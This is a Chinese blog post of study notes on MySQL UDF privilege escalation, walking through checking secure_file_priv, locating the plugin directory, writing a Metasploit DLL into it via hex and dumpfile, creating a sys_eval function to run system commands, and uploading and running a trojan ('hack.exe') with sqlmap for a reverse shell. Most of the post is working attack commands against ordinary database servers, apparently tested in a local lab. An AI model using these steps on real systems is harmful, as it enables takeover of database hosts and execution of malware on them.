HacKerQWQ的博客空间

udf提权学习

Word count: 561Reading time: 2 min
2021/06/18 Share

UDF定义

UDF (user defined function)**,即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,可以通过导入dll文件增加新的函数**,执行系统命令

UDF提权步骤

查看secure_file_priv的值

1
2
3
4
show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

secure_file_priv的值为时,才能提权
20210618094033
可以通过my.ini设置secure_file_priv的值
20210618094115

或者linux下的/etc/my.cnf的[mysqld]下面的local-infile=0选项

查看系统架构以及plugin的目录

这一步主要是用于确定下一步选用的dll版本注入的目录位置

1
2
show variables like '%compile%';             #查看主机版本及架构
show variables like 'plugin%'; #查看 plugin 目录

20210618094327
20210618094358
在kali的msf目录中找到对应系统版本的dll文件
20210618095209

将dll文件写入plugin目录

需要提前创建好**/lib/plugin**文件夹,可以使用以下命令创建

1
select 'xxxxxx' into dumpfile 'C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION'

但是需要文件夹写入权限(本地测试不成功)

1
2
3
4
5
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll'; #创建函数sys_eval

使用系统命令

1
2
select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
select sys_eval('whoami'); #使用系统命令

MSF进行UDF提权

exploit/multi/mysql/mysql_udf_payload这个模块可以进行UDF提权

反弹shell

思路:通过certutil或bitsadmin下载木马或者sqlmap写入文件,要写在plugin目录,因为sys_eval只能执行当前目录的文件

  1. 这里使用sqlmap写入文件

    1
    sqlmap -u "http://192.168.10.130/?id=2" --file-write msf.exe --file-dest "C:\phpStudy\PHPTutorial\MySQL\data\hack.exe"

    --file-write指定文件,--file-dest指定目标文件路径

  2. 使用udf的sys_eval函数执行文件

    1
    2
    3
    select sys_eval("hack.exe");
    或者
    select shell("cmd","hack.exe");
CATALOG
  1. 1. UDF定义
  2. 2. UDF提权步骤
    1. 2.1. 查看secure_file_priv的值
    2. 2.2. 查看系统架构以及plugin的目录
    3. 2.3. 将dll文件写入plugin目录
    4. 2.4. 使用系统命令
    5. 2.5. MSF进行UDF提权
    6. 2.6. 反弹shell